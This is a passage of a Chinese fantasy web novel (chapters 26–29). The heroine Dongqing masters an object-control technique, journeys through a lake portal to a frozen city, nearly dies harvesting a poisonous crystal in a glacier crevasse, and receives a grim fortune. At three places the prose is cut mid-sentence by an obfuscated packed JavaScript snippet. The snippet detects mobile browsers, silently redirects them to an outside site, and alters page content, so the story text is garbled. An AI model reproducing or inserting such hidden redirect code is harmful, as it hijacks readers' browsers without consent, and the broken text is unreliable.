“你还没告诉我,这玩意值十两银子吗?”冬青追问,若是值,她明日便到集市便卖了。 “冬青,你要对自己有信心。”池南看着那面不起眼的铜镜,倒抽一口凉气,“足能卖出上百两了。” 26. 第 26 章 上百两?! 冬青自己都惊了,要不是华胥问道迫在眉睫,她倒不如多做几个法器,还去九幽冰崖冒险做甚? 这时,无相忽然“咦”了一声,俯身从法器堆下抽出一张纸条。 “五日后卯时,淳福客栈见。”无相念道。 距离华胥问道还有半个月,算上路途,意味着从九幽冰崖回来后就要动身。 冬青在心中思量,或许她也可以做个传送门,那样省时又省力。还有五天,她紧锣密鼓地钻研一番,应当差不多。 阵道和器道已然五重天,丹道和符道还停留在三重天,剑道一术,她一直用的是池南找的竹竿修炼,不知道换成剑还会不会那么顺手。 至于御物…… “无相。”她叫住埋头扒拉法器的小老头,“我想进识海看看。” “走。”无相灰头土脸地从法器堆爬出来,眼前一晃,便来到了冬青的识海。 她抚摸着树干,愁道,“第一式我已经熟练,但是第二式——” 她摊开御物心法,第二式破茧迎风写着:修炼者感知范围扩大,却感万物纷杂无序,如困茧中,难以协调。需静心聆听万物自身流转规律,如风过林梢之声,水流石上之痕,重静悟与顺应。 “你看看就知道了。”冬青对无相说完,盘膝坐在树根下。 刹那间,整个识海空间剧烈颤动,天地轰鸣不止,无相和池南扶住树根,才勉强稳住身形。 前方浅水忽然剧烈翻涌,中间仿佛有什么磅礴大物从水下蓄势而出,持续的震耳欲聋声中,一棵青松破水而出。 紧接着是三人熟悉无比的裂成两半的抚顶台、松海、半山腰的竹居、华堂……接连涌现。 潮水四散退去,整座长生山浴水而生,赫然矗立在识海中。 一瞬间,万物喧嚣汹涌灌入耳中。 “青天大老爷!”无相瞠目结舌。 池南眼眸微震,望着拔地而起的熟悉山峦,连淅淅沥沥淋在身上的潮水也浑然不觉。 只是周围太过吵闹,长生山里弟子们的交谈声,鸟雀声,风声,流水声甚至尘土落地的细微震颤的声音好像都一般响,不分你我的萦绕在耳边,杂乱无章,令人头晕目眩。 冬青与二人说话得靠喊,“我能感知到这里的一切,但是……太乱了,我理不清,也控制不住。” “你先让长生山遁入水下。”池南也不由得大声起来。 冬青心念一动,整座参天高山便带着隆隆震颤慢慢遁入水下。 浅水激荡起一层又一层的水浪,好半天才慢慢平息下来。 整片空间又恢复了寂静。 无相甩了甩身上的水,摊开心法,指着上面一处道,“小冬青,你看,我觉得与其尝试控制,不如尝试顺应。” 池南上前一步,“我觉得这里的顺应,可能就像之前你扫地时,夹住的那片落花一样。” 冬青指节撑着下巴,垂首思索片刻,好像有些懂了。 三人退出识海,恰巧一片竹叶纷飞到身前,冬青尝试让这片竹叶逆风而上,却在半途中“嗤”的一声从叶尖断成两半。 无相在一边适时提醒,“顺应,顺应。” 又一片竹叶飘过,这次冬青让竹叶顺着风向,可竹叶只是向前滑了一段距离后,绵软的落到地上。 几次三番不成,她已经有些颓败,池南走到她眼前,温声安慰道,“别急,短短月余,你就已经练成第一式,你已经比世人多迈了一步,接下来还会有第二步第三步。” 他看着她,语气肯定,“冬青,你会走在我们所有人之前。” 许是被他这句话打了鸡血,池南连着好几个晚上都听到院落里传来破空声。 他睡眼朦胧地扒开树叶向下看去,月华如练,朦胧地笼罩在那道天青色身影上,更深露重,银辉遍地,她挥汗如雨,枝叶、落花、井水……一切能供她修炼的都试了个遍。 修炼累了,便拿起一旁的竹子舞上两下,权当放松。 天赋只是一方面,无数个深夜挥洒的汗水,掌心越来越厚的茧,都是她日复一日努力的明证。 池南悄然跳下树,轻轻落在屋檐上。 冬青闻声回首,喘息未定,“小红。” “冬青,我有时候真挺佩服你的。”他趴在瓦片上,问了一个他一直想问的问题,“你会因为灵根被锁这么多年感到不甘吗?” 月下青影认真思考了这个问题,“会,但我有时也挺感谢锁我灵根的那个人的。” 她的眼睛在黑夜中格外清亮,映着银辉,一字一句道,“若没有他,我也不会这般珍惜修炼的机会,即便有着极高的天分,也能也会被我荒废掉。” 池南唇角勾起一抹极淡的笑意,这倒也像是她会说出来的话。 “困了,睡觉去了。”他懒洋洋扔下一句话,转身消失在屋檐。 五日转瞬即逝,三人刚踏进嵩宁镇集市,便遥遥望见淳福客栈前醒目的身影。 实在不是他们眼力有多好,而是贺兰烬的打扮过于招摇——一身亮的晃眼的齐紫色长袍,腰封坠着五彩斑斓的玉石,手持与其浮夸气质格格不入的玉折扇,八抬大轿软垫玉辇地候在门外。 宫里的娘娘也不会比他排场更大了。 冬青走过去时,贺兰烬正没骨头似的歪在软垫上,手拿一根狗尾巴草逗猫。 “来得正好,无聊死了。”贺兰烬撑起身子,吩咐毕水,“把马车驶来。” “传送门在砚湖。”他踩着精致软凳钻进马车,撩起帘子,居高临下地俯视三人,“有些远,你且跟在马车后面吧。” “……” 三人瞠目,看在一千两的份上,忍了! 砚湖其实并不远,但尊贵的贺兰嫡孙出行声势浩大,像是要领兵打仗一般,一行人昂首挺胸地走在路上,行人纷纷驻足侧目。 冬青恨不得拿块布给自己脸遮上,反观贺兰烬却笑盈盈地撩起帘子,摇着那把玉折扇与来往行人打招呼。 马车逐渐慢下来,毕水敲了敲窗框,“公子,到了。” 砚湖在嵩宁镇的北面,因从山上向下看去,形似砚台,因此得名砚湖。湖面不大,两堤翠柳成行,柳梢低垂,轻点水面,随风漾起圈圈涟漪。 贺兰烬在毕水的搀扶下缓缓走下马车,站到澄澈的湖水边,伸出手指向湖心一点,“跳吧。” 三人同时转头愕然看向他,冬青以为自己听错了,问道,“你说什么?” 贺兰烬不懂她反应为什么这么大,玉折扇重重点了两下湖面,“我用这湖面做了个传送门,跳进去就到了。” 这湖是个传送门?冬青难以置信地看着平静的湖面,心中有那么一瞬间闪过“他是不是要淹死我”的念头。 “没办法。”贺兰烬像是洞察了她的想法,摊了摊手,“这小破地方没什么好东西,就这湖还算不错,做了个临时传送门,怎么样,还算雅致吧?” 雅致是雅致,就是不大敢跳。 旱鸭子冬青和池南不约而同地转头看向无相,两人都用眼神催促他先跳。 无相抱紧拂尘,“不是,凭什么我……!” 话音未落,池南尾巴一甩,无相整个人腾空飞出,落进水面。 湖面没有一丝涟漪,而无相也没有再浮出来。 于是冬青和池南对视一眼,同时纵身跳下。 只是一眨眼的功夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362872|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再睁眼时已然身处异处,脚下是千年不化的冻土,刺骨寒风刮的面颊生疼,凉意无孔不入地钻进四肢百骸,冬青忍不住狠狠打了个寒颤。 前方玄铁打铸的城门森严坚固,月白光幕自城墙向上汇聚,呈碗状将整座城笼罩在里面,城门上首两个大字冷硬的大字高悬——冽墟。 这就是北诏最北端的极寒之城。 冬青立刻调动真气,覆盖全身,来抵御极寒。 冻僵的四肢终于有了些知觉,她急忙环顾四周,寻找池南和无相的身影。 四处寻找不得,冬青不由吐槽,那传送门看似玄妙,实则就是个绣花枕头,她决定先进城去。 她身后白皑皑的雪原上,厚衣重裘的人群排队等着进城,人们不断跺脚哈气,心照不宣地沉默着,谁都不愿张嘴喝冷风。 忽然,一件沉重的棉衣披在了她单薄的肩上。 冬青诧异看去,一位头发花白、面色慈祥的阿婆站在她身旁,替她裹紧了棉衣。“天寒地冻,你这小丫头穿的这样单薄,怎么受的住呦。” 周围人们循声望来,神色复杂。 “多谢阿婆,我不冷的。”冬青受宠若惊,她正要脱下棉衣,却被瘦弱的阿婆大力拉回,不由分说的替她扣好扣子。 “那怎么行,年纪轻轻就不注意身体,等老了就知道有多遭罪了!” 阿婆苦口婆心,情意真切,感天动地,正当冬青不知道怎么感谢时,阿婆缓缓伸出两根枯瘦手指,咧开缺了门牙的嘴,“不多,只要一两银子。” “……” 冬青算是明白其他人为什么用那副眼神看着她了,原来是把她当冤大头了。 冬青没钱,但好巧不巧,此行的钱都是贺兰烬拿。 于是贺兰烬顺理成章地当了那个冤大头,城门还没进去,就先花了一两银。 北风咆哮,浮雪被吹散,在空中盘旋。有了棉衣,冬青尝试着撤去护体的真气,发现也不是冷到不能忍受,于是便只留了护住头脸的薄薄一层真气。 “那老太是个神妈妈,在城里抓不到人算命,就在城外强买强卖。”冬青身后一个背着孩子的女人悄声说。 冬青看着这位神妈妈又到队伍后面继续去荼毒下一个有缘人,她摸了摸身上的棉衣。 贵是贵了些,但还挺暖和的。 就在这时,一声厚重刺耳的金属摩擦声响起,沉重城门缓缓向内打开。 方才还安分守己的人群忽然暴起,一窝蜂朝前挤去,冬青被挤的晕头转向,还是刚刚跟她说话那女人拉了她一把,“快走吧,冽墟每天限制进城人数,天黑之前进不去是会冻死在外面的!” 她二话不说跟在女人身后,在推搡中护住了女人身后孩子的头。 城门开的时间非常短,冬青前脚刚踏进冽墟,后脚便感觉到沉重压力贴着脊背压来,一声巨响过后,城门轰然关闭。 一墙之隔外,绝望的哭嚎和拍打城门的“啪啪”声清晰传来,震得她脊背发麻,她忍不住向后看去,只能看到玄铁城门冷硬的黑色内壁。 “姑娘,别看了,快走吧。”女人又拽了她一把,头也不回的汇入城中人流,“别管了,活着要紧啊。” 进城后,肆虐的风声就消失了。冬青抬头看向那光幕,没有冷风刮骨,气温好像没有城外那么难耐了。 也不知道小红和无相进城了没。 冬青闭上眼睛,冽墟在她眼前铺开,万物气息和喧嚣瞬间入耳。 她体内有池南的真气,如果他在城里,她就一定能感知得到。 眼珠在眼皮下快速转动,一缕熟悉的清冽气息被她敏锐捕捉。 冬青倏然睁眼。 找到了! 27. 第 27 章 识海中,万物褪色为灰蒙,唯有一小簇红色火苗格外醒目。 冬青循着那熟悉的气息找去,在不远处一间茶楼的屋檐上看见了悠哉的狐狸。 “小红!”她招了招手。 狐狸看见她,轻盈踏着檐角,纵身跃下。 “无相呢?” “随我来。”池南在前面领路,拐进一条狭窄幽深的巷子,七弯八绕,才停在一间破庙前。 延永寺三个字已经斑驳褪色,庙门朽败,院内挂着的褪色经幡凝着冰碴儿,僵直悬在半空。 池南推门走进,庙宇不大,里面只供奉了一尊观音菩萨,菩萨手里净瓶中琉璃柳枝被折断,不知所踪,大约是被谁拿走卖了钱。 菩萨慈悲眉目的注视下,冻僵的无相烧了蒲团,蜷缩在火焰旁边取暖。 他哆哆嗦嗦地闻声望去,鼻孔下面挂了两溜冰凌,声音从打颤的牙关间挤出,“小……小冬青,你来啦……” “怎会这样?”冬青利索解了棉服,将无相从头到脚严严实实裹住。 “冽墟灵气低微,无相来这里受不住。”池南解释道,“真气裹身也无用,只能烧些东西取暖。” 无相抽了抽鼻子,鼻音浓重,“无事,无事……好多了。” 破庙四处漏风,尖啸寒风穿过残破的门板缝隙,无相整个人都埋在棉衣里,依旧不停打哆嗦。 “这儿太冷了,走,我们找间客栈。”冬青在无相面前蹲下身,“还能走吗?” “能。”无相气若游丝地站起身来,没挪出两步,便咚一声摔在地上,他声如蚊呐,“抱歉啊小冬青……腿……冻僵了……” 冬青轻叹一声,转身将他裹好,用棉衣带子系在自己背上背着走。“咱们现下在城南,我来的时候已经看了,不远就有一间客栈。” “小冬青……我没事……不用破费……”无相冻糊涂了,话都说不清楚。 冬青侧耳分辨他的话,听完却笑不出来,“你忘了,贺兰烬掏钱。” 正要跨出破庙那低矮门槛时,一道灰扑扑的身影骤然出现在面前,速度之快,让冬青猝不及防,差点撞到来人。 她抬头看去,那神妈妈双手揣进袖管里,看见她也是怔愣了片刻,随即咧开没门牙的嘴,“是你啊,小姑娘。” 冬青向她颔首,生怕她再纠缠下去,脚下灵活一转,从她身侧绕了过去。 “给你背上那老家伙泡个姜浴,他快冻死了。” 呕哑的声音自背后传来,冬青愕然回头,神妈妈却头也没回,径直走进了破庙。 她怎么能看见无相? 冬青心生疑窦,脚步却不敢稍停,她直奔看好的那家客栈,扔下一锭银子直奔楼上,“一间上房,一桶热水,要快!” 小二手忙脚乱地接住那一锭银,朝消失在楼梯转角的背影高喊,“客官,左手边第二间客房!热水就来!” 热气腾腾的姜水被抬进屋内,冬青烧旺了地龙,摇了摇无相的肩膀,“无相,你泡个热水暖和暖和。” 见无相没有反应,她三下五除二扒了他的外衫,将他整个人扔进水里。 热气蒸腾,无相两鬓和眉梢的霜开始融化,化成雪水顺着脸颊躺下,方才青灰的面色也逐渐红润起来,无相舒服地往下挪了挪,将半张脸都泡入暖水中。 冬青松了口气,转头问池南,“你还好吗?” “我?”池南诧异道,“我有真气护体,能有什么事?” “也对,狐狸毛厚。”冬青笑了一下,“贺兰烬什么好东西没有,他都惦记着你的毛。” 池南满脸鄙夷,这副皮囊算什么,他真身才是丰神俊朗,芝兰玉树。 九幽冰崖终年酷寒,狂风肆虐,唯有正午时风力稍低。现下时辰还早,三人决定看无相恢复的如何,再决定几时启程。 屋里地龙烧的很旺,暖意烘得冬青面颊发烫,她走到离无相最远的一扇窗前,轻轻欠了一条缝透气。 半晌,水桶里传来一声舒服的哼唧,无相双手扒着水桶边,探出一颗湿漉漉的脑袋,“哈哈,小老儿我活过来啦!” 那神妈妈说的法子竟真的有效。 无相从水里咕涌出来,本想像往常一样飘出来,却不料刚腾空就“啪叽”一声摔了个狗啃屎,身上水珠噼里啪啦地落在地板上,很快成了一片小水洼。 池南扶额,他怎么就摊上这么个缺心眼的剑灵。 他调动真气,将无相身上的水烘干。 冬青担心他着凉,立刻把棉衣裹在了他身上。 “我们正午启程,你行不行?”池南语气堪称冷酷地问道。 无相“切”了一声,挺起胸膛,“那有什么不行?” 他此刻精神好得很,冬青也没有那么担心了,她叫小二送了些吃食上来,填饱肚子后出发。 冽墟天寒地冻,因此墙壁砌得格外厚,客栈内暖如春日,连饭菜都热气腾腾的。 无相如饿狼扑食,这鬼地方本就灵气低微,他可得多吃点补充体力。 他腮帮鼓鼓囊囊,口齿不清,“你们刚才唆森么森麻麻?” 冬青一头雾水地看向池南,后者从善如流地翻译,“他问你,方才说什么神妈妈。” 她眼前浮现那张枯瘦的脸颊,“听人说是城里算命的,赚不到钱所以到城外去强买强卖。方才庙门外的就是,给你泡姜浴的主意就是她出的。” 无相神情有那么一瞬怔然,他把头埋进饭碗里,“误打误撞吧。” 三人吃饱喝足,收拾好东西,为了防止一件棉衣飘在半空吓到别人,冬青还是把无相背了起来。 “小冬青,”无相觉得让一小姑娘背着自己实在有点为老不尊,他拍了拍她肩头,“要不你放我下来吧,我自己可以的。” “你一个灵,能有多重?”冬青反手拍了他一下,示意他闭嘴。 相处这么长时间下来,他深谙一理——不要试图说服冬青,于是老老实实闭嘴了。 九幽冰崖在冽墟北面,在城内抬起头来能看见连绵不绝的蓝色冰川。 九幽冰崖灵气虽然稀薄,但一些上好的药材和炼法器需要用到的特殊冰晶都生长在这里,因此冽墟城百姓靠山吃山,靠冰川吃冰川,前往九幽冰崖采集者,可以向城主申请出城令,从冽墟北门进出。 贺兰烬准备周全,两张出城令早已备好,躺在乾坤币里。 三人启程向北,一路上,冬青发现冽墟不像她想象那样荒凉残破,相反,这里热闹而有生机,百姓普遍顶着两坨红扑扑的脸蛋,逢人便笑,很是热情。 冬青沿着主城道来到北门,门前一左一右站着两尊玄武,排队出城的人走到玄武前,将出城令放在龟甲上方一处卡槽,待蓝光亮起,蛇身缠绕的交叉巨戟便会缓缓抬起放行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362873|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎,姑娘。”排在她前面的一个中年人侧头搭话,“你也去九幽冰崖啊?” 冬青收回视线,看向面前面色黢黑的中年人,他穿的很少,脖颈露在外面,袖子挽起露出一截色差明显的小臂。 “姑娘,你去采啥?”他揉了揉冻得发红发亮的鼻子,瓮声瓮气道,“今日天头不好呦,指不定要空手回喽。” 冬青抬头看了看天,太阳隐没在厚重灰云里,只透出一圈模糊的的光影。交叉戟每开一次,都有凛冽的风雪卷进,光幕外灰蒙蒙一片,浮雪漫天。 她想起客栈小二的嘱咐,不要随便跟去九幽冰崖的人透露行踪,以免遭人觊觎,螳螂捕蝉,黄雀在后。于是含糊道,“采些药材。” “嘿,我也去采药,寒冰芝。”他凑近,张开一口黄牙,“姑娘,搭个伙不?” “不了。”冬青摇摇头,超前方扬了扬下巴。 中年人回头看去,说话的功夫,前面的人已走出好远,他攥紧手里的出城令,小跑着跟上。 被冬青拒绝后,他也没有找别人搭话,出示了出城令后,径直踏入城门外呼啸的风雪中。 冬青紧随其后出了城,刚踏出那月白光幕,割面寒风便铺天盖地卷来,她附身一把捞起狐狸,同时将背上的棉衣紧了又紧。 霜雪遮眼,眼前一片混沌的白,她调动真气把三人护住,饶是如此,竟连走在前方中年人的身影都看不见。 她腾出手打开卷轴,卷轴浮现巍峨冰川,甚至能看见冰川脚下化作黑点的他们自己。随后卷轴有灵性一般,在三个黑点前蜿蜒伸出一条红线,一路延伸到冰堑处才停止。 “跟着走吧。”池南当机立断。 冰川脚下坡度较缓,冬青爬的并不十分费力,只是随着深入,手中图影越来越淡,一阵强风过后,那卷轴上的虚影闪了两下,随后彻底消失。 她把卷轴收进乾坤币,继续向上攀登。 “都记住了?”池南问。 “嗯。”冬青点点头。 前方坡度近乎垂直,她从乾坤币里拿出一副玄铁打造的利爪,她用绳索将无相和狐狸紧紧缠在身上,催动真气奋力向上一贯! 利爪“铿”一声紧紧扣住冰体。 她用力拽了两下,确定牢固后抓着绳索向上攀登。攀到冰爪处,她再甩出另一个冰爪,将上一个冰爪取下,如此往复。 不知过了多久,冬青掌心已经被勒出一条深深红痕时,上方终于不再是望不到尽头的幽蓝冰壁,露出了一角灰蒙蒙的天。 她精神一振,加快速度攀住边缘,刚探出头,一阵猛烈的罡风骤然吹来,险些将她整个人掀下去,她连忙扣紧冰体凸起,手脚并用的爬了上去。 在冰面上滚了两圈后,她才摊在冰面上喘息,身下忽然传来两道微弱痛苦的声音,“冬青……快压死了……” 冬青眉头一跳,连忙翻身坐起,回身一看,看见了扁平的池南和无相。 “抱歉。”她连忙将棉衣给无相裹好,又呼噜呼噜池南凌乱的毛发。 三人顶着强风起身,前方就是深不见底的巨大冰堑,冬青站在边缘向下望去,脚下一块碎冰被她无意间踢落,眨眼便消失在深渊中。 她连忙后撤两步,确认安全后俯身下望。 幽蓝冰壁与下方无尽黑暗的交界处,一点极其微小、却异常纯净的紫色光芒正微微闪动着。 28. 第 28 章 那应该就是鬼愁晶了。 冬青后退两步,准备起阵,忽然,余光瞥见风雪中浮现一个灰色的人影。 她定睛一看,是刚才要跟她搭伙的中年人,他背着个箩筐,筐里装着满满的近乎透明的寒冰芝。 “是你?”中年人挠了挠头,“又见面了姑娘。” 他揣着袖管子,伸长了脖子向下望了望,“呦!姑娘你来挖鬼愁晶哦。” 冬青警惕的盯着他。 他收回视线,打量冬青一番,“这小身板本事倒不小。” 似乎察觉到了冬青的防备,他又讪讪往边挪了两步,“你挖吧,我不打扰你。” 冬青一边分神提防中年人,一边飞快结印,脚下冰蓝法阵旋转着浮现,“传送门,开!” 她双手结印往前一送,一个等人高的幽深漩涡赫然出现在面前,漩涡逐渐稳定、透明、最终化作一张薄薄的膜,散发着紫光的鬼愁晶显现在传送门那头。 冬青站在门前,从乾坤币里取出锁冰锥,瞄准位置,用真气用力往前一掷! “铿!”锁冰锥牢牢扎进了鬼愁晶上方冰壁中,周围竟一点裂隙也无。 站在十步开外的中年人看得真切,他“嚯”了一声,“真是个宝贝!” 她又操纵着绳索缠在锁冰锥上,另一端缠在自己身上打了个结,背上装鬼愁晶特制的箱子,手里握着匕首,就要走进传送门。 “姑娘!”冬青一脚已经踏进传送门,闻言回头。 “你这绳结打的……”他快步把冬青拽回来,捻着绳结一头轻而易举将其解开,“小心掉下去!”他三下五除二的系了个复杂牢固的上去。“好了,这下怎么扯都不会掉了。” 冬青看了他一眼,低低嘟囔了一声“谢谢”,随后毫不犹豫的一脚踏进光膜。 “咚!” 一声闷响直冲耳膜,巨大失重感瞬间攫住冬青,她顺着惯性猛地蹬住冰壁,把匕首狠狠插进冰里,才堪堪稳住身形。 通体纯净的紫色鬼愁晶就在她眼前,一股诱人的甜香扑鼻而来,直冲脑顶,她闭眼呛咳了一下,睁眼后眼前模糊一片,眩晕感铺天盖地袭来。 “冬青!”池南在那头一声失真的呼唤钻进耳朵,“快吃一颗解毒丸!” 她狠咬舌尖,剧痛带来一丝清明,十指颤抖着倒出一颗解毒丸囫囵咽下。 丸药在舌尖融化,苦涩之味压下眩晕之感,冬青垂头晃了晃,感觉好多了。 这鬼愁晶果然名不虚传,冬青咬牙,今日非给它挖个根除不可! 她看准晶体根部,一匕首斜刺进去,手腕猛地下压,咔嚓一声轻响传来,鬼愁晶松动分毫。 她继续用力下压,整块晶体被完整撬起,哐当落进特制的箱子里。 倒还算容易,冬青备受鼓舞,加快动作。 狂风裹着咔嚓咔嚓的轻响不断传来,池南守在传送门外,目光不经意间扫过那根锁冰锥,瞳孔骤缩——只见锥体周围的冰壁正以惊人的速度蔓延开密密麻麻的蛛网裂痕,那根锥子正肉眼可见地被向外推挤! “冬青小心!”他失声惊呼。 彼时冬青正将最后一块鬼愁晶放入箱中,刚想折返,脚下猛地一空! 她骇然抬头,只见锁冰锥已彻底被冰壁挤出,带着绳索朝她砸来。 失重感瞬间将其吞噬,冬青本能地想布传送阵,冰蓝法阵刚具雏形便轰然溃散,她整个人失控坠向深渊。 “冬青——!” 池南惊骇的呼喊从传送门那边传来,随后只见一团火红的影子如离弦之箭般从传送门飞射出来,向着她坠落。 “无相!”池南厉喝。 无相咬紧牙关,拂尘奋力一甩,整个人化作一把光剑,将池南托起,流星般向下急坠。 “快!抓住我!”池南向冬青甩出一缕凝实的真气。 冬青调整下坠姿势,同样甩出一缕真气,一青一红两缕真气瞬间纠缠,死死绞在一起。 池南猛地向上一收,硬生生拉近了两人之间的距离! 正当他轻轻松了一口气时,脚下的光剑一闪,随后寸寸碎裂,化作点点荧光消失,无相整个人如一片枯叶,无意识的向下落去。 “无相!”冬青和池南同时放出真气,天青色真气包裹着红色真气,猛的一拽,三人距离骤然缩短,冬青用尽全力伸出手,将狐狸与昏迷的无相死死揽入怀中。 “冬青我……” “闭嘴。”池南的话被冬青打断,她紧闭双眼,任由身体在尖啸风声中不断加速坠落,头顶那条狭窄的冰缝在视野中急速缩小,最终化作一道遥不可及的光线。 就在这时,冬青猛地睁眼,“找到了!” 她猝然拧身,整个人头下脚上直直下坠,狂风向上掀起她的头发,鼓动她的脸颊,她费力向下张开五指,一股磅礴的真气自她掌中疯狂凝聚,随后她清叱一声,手掌向下轰然推出! “咚——!” 冰沫四溅,糊了双眼,失重感骤然消失,取而代之的是狠狠撞击实地的剧痛后知后觉地席卷四肢百骸,冬青紧箍着无相和池南的手臂缓缓松开,绵软的摊开在冰面上。 池南爬起来,愕然低头看去——他脚下凭空出现了一处巨大的、突兀的冰面,不,他趴到冰面边缘,这不是冰面,而是像是有人往这冰堑里塞了一截严丝合缝的冰柱,将这冰堑从底往上,填满了! 他回首看向倒地侧躺的冬青,刺目鲜红缓缓从她七窍流出。 “冬青!”池南踉跄扑到她身边,抽出她的方巾慌乱地擦拭血迹,同时将自身真气不要命般灌入她体内,他摇晃着她的肩膀,在她耳边嘶声呼喊,“冬青!冬青!能听见我说话吗?!” 不知是那源源不断的真气起了作用,还是他声嘶力竭的呼唤唤回了一点她的意识,冬青垂落在身侧的手指,极其微弱地蜷缩了一下。 池南心头狂喜,立刻凝聚心神,一边持续输送真气,一边在她耳边一声声唤着她的名字。 冰堑之底,寒气刺骨。 冬青的眉睫迅速凝结白霜,又被池南滚烫的真气融化,水珠滑落,旋即又凝结……不知往复几何,她长垂的睫羽极其轻微地颤动了一下,随后,那双紧闭的眼眸缓缓睁开。 漆黑的瞳孔先是涣散迷茫,继而艰难地聚焦,一点点恢复了清亮。 冬青颅内嗡鸣,她睁开眼,一双带着急切的金瞳正一瞬不瞬的盯着她。 小红? 她无甚血色的唇嚅嗫了一下,却没说出声音来。 仿佛有什么暖洋洋的东西正源源不断的向体内灌输,冬青也不觉得有那么冷了,她挣扎着坐起来,在天旋地转中分辨出了正向她传输真气的池南和一旁人事不省的无相。 “喂——” 空蒙的回响从上方传来,中年人趴在冰裂边,手作喇叭状拢在嘴边,“还——活——着——吗——” “活——着——吗——” “着——吗——” “吗——” 冬青:“……” 承蒙挂念,暂时还没死。 她示意池南不用再给她真气了,转而从乾坤币里取出一个圆环,放在嘴边。 随后,整座冰堑都回荡着冬青半死不活的回应,“还——活——着——”。 她将扩音环扔在一边,从乾坤币里拿出她认为此程最无用的法器——一块镜子。 在这之前她一度以为这是贺兰烬不小心把他的私人物品扔进了乾坤币,没想到真误打误撞派上了用场。 她对着镜子把自己满脸的血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362874|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦干净,转手便没有一丝留恋的将其扔下了深渊。 做完这一切,她才开始认真打量起来自己所处的位置。 “冬青,你怎么做到的?”池南忍不住问。 危急关头,做出的许多举措都是本能反应,冬青此刻再回想,只能记起零星片段。“我当时,听见了深渊和冰壁的……脉动。” “脉动?”池南不解。 冬青也说不上来那是一种怎样的感觉,“就好像……它们在告诉我,应该怎么做……” 她话音一顿,怔然唤道,“小红。” “你说。”池南专注倾听。 “我感觉……我可能突破御物心法第三式了。” 御物心法第三式“心引潮生”:明心见性,由内及外。习练者领悟到“御物”之本在于己心。心意如潮汐,起伏涨落间自有其力与律。心念澄澈坚定,则外物之势可随心意自然流转、汇聚或平息。万物之动,仿佛由心潮引动。 “我当时只有一个想法,就是一定不能坠下去,然后我仿佛与整片冰堑融为一体一般,自然而然地就知道了该怎么做。”她有些不知所措的欢喜,或许她自己都没意识到,她现在看向池南的眼神,就像个等待长辈夸赞的稚童。 “恭喜你,冬青。”池南自然毫无保留的夸赞,“你是天才。” 冬青果然笑起来,她不常笑,但笑起来的时候眉眼弯弯,仿佛星子点在弯月上,熠熠生辉。 “走吧,我们上去。”冬青盘坐在冰面上,调动全身真气。 识海中,参天巨树无风自动,枝叶哗哗作响。 天青色真气喷薄而出,脚下冰柱随之轰鸣,冰柱迅速向上攀升! “冬青,撑得住吗?”池南用帕子给她擦着源源不断的鼻血。 “无妨,好多了。” 不多时,冰柱便从深渊轰然撞破冰堑表面,停在与冰面齐平的位置。 趴在边缘费力缠着绳子的中年人惊愕瞠目,“你你你你们……” 他连忙松开要用来下去救人的绳子,趴在边缘向下看,冰堑两端搭了一座实心桥?! “姑娘。”他目瞪口呆地竖起大拇指,“你是这个!” 冬青捞起地上的棉衣裹住面色青灰的无相,用袖子抹了一把鼻血,对中年人略一颔首,讳莫如深的转身离开。 三人以最快的速度回到客栈,将无相扔进滚烫姜水里,看着他面色逐渐恢复,才彻底松了口气。 “等无相缓过来了,我们就启程回去吧。”她看向池南,征询道。 “好。” 姜水凉了又换,换了又凉,待到无相睁眼醒来,夜色已然迟暮。 由于三人传送过来的位置不一样,三人决定先由冬青和池南出去寻找传送门,找到了再回客栈接无相。 夜晚的冽墟寒气砭骨,路上行人稀稀拉拉,个个如缩脖鹌鹑一般,缓步在冰面上蹭行。 两人走到城门前,那神妈妈正抱着棉衣,在他们还未走近时便敏锐的转头望来。 “要走啦?”那干涩的声音从喉咙间挤出。 “嗯,要走了。”冬青点头。 “这一日下来,只有小姑娘你买了我的棉衣,看在缘分的份上,老太我便替你算上一卦。”神妈妈摊开手掌,掌心赫然躺着三枚花纹繁复的古旧钱币。 她将三枚钱币向上一抛,钱币在空中停滞了一下,无声落进松软的雪里。 神妈妈蹲下身,用手扒开盖在钱币上的浮雪,她低垂着头凝视卦象,眉头渐渐锁起。 “如何?”池南抢先问道。 “……”神妈妈抬起头,那双浑浊阴翳的眼看向冬青, 沙哑的声音一字一顿,敲在冰冷空气里: “此身短命,恐难活过十九。” 29. 第 29 章 “说什么胡话!”池南心头猛地一跳,出声厉喝。 神妈妈浑浊的眼珠扫了他一眼,似乎丝毫没对狐狸开口感到震惊。 冬青连忙用脚扒拉了他一下,“没关系,多谢您,我们这就告辞了。” 她拎着池南后颈快步离开,走出神妈妈的视野后把他拎到与视线平齐的位置,狐狸目光躲闪,她扳着狐狸下巴强迫他与自己对视。“生什么闷气?” 